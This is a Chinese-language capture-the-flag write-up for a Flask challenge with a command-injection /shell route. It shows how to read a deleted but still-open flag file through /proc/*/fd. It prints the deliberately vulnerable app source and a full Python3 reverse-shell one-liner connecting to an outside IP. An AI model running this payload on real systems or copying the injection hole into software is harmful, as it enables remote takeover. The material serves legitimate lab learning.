目录:
没用buu的内网资源,直接用的自己的阿里云做的,
我用buu的 总是不好使,,,
一、自己做:
直接给源码。
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
可以看到,是,本地中删除了这个文件,但是 是用 open函数打开的,
这个是摘自fd命令那个,
这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的 pid目录下的fd文件描述符 目录下 还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容
然后发现,会执行我们的命令,无回显试执行,那应该就是python的反弹shell了
exec_cmd = request.args.get('c')
os.system(exec_cmd)
看看不到,那就直接反弹shell试一试。
二、学到的&&不足:
- 当python2不好使的时候,就换成python3就行了,就是多个数字的区别
- Linux小技巧,
*
可以用来当作那啥,任意匹配来用。 - 当找不到fd中的文件的时候,文件不一定再 self 这个进程中,还有可能在其他的进程中,所以我们就可以用
*
来代替,比如cat /proc/*/fd/*
cat所有的进程中的文件,
三、学习WP:
然后发包没反应,,
然后是要用python3的payload来打:
这里要用python3来弄
扫描二维码关注公众号,回复:
13126010 查看本文章

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.85.126',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
但是没有flag.txt。
源码中有这几句:
flag_file = open("flag.txt", "r")
还有这个:
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
我们每次执行命令前都会删除这个文件,那么,但是系统并灭有关闭flag.txt。而是直接将他删除了,
然后
这里有个小技巧, Linux中的*
可以匹配任意字符,
所以当我们 pid 进程号不知道的时候,可以用 *
来代替,后面的 fd 后面的 那个序号不知道的话,也可以用 *
来进行匹配。
所以
ls /porc/*/fd/*这个是看到所有的文件路径。
然后我们直接全部cat就好了
cat /proc/*/fd/*
就能够看到flag了